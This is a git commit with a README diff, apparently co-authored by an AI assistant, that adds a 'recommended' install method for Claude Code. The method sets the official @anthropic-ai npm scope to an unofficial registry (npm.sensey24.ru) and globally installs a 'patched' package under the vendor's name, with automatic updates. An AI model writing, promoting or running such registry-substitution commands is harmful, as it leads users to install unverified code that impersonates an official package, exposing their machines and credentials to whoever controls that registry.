feat: add npm registry install method as Method A (recommended)

- Add Method A: npm registry install (recommended)
- Move old installer to Method B (backup)
- Update version badge to v2.1.62

Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com>

README.md

@@ -20,6 +20,24 @@ See README in each product folder for details.
 
 ### Claude Code — Install
 
+#### Method A — npm registry (recommended)
+
+Install the patched package directly from our npm registry. Updates automatically when new versions are released.
+
+**Linux / macOS:**
+```bash
+npm config set @anthropic-ai:registry https://npm.sensey24.ru/
+npm install -g @anthropic-ai/claude-code
+```
+
+**Windows (PowerShell):**
+```powershell
+npm config set "@anthropic-ai:registry" "https://npm.sensey24.ru/"
+npm install -g @anthropic-ai/claude-code
+```
+
+#### Method B — Automatic installer (backup)
+
 All dependencies are installed automatically (git, python3, Node.js, Claude Code).
 
 **Linux (Debian/Ubuntu/RHEL/Fedora):**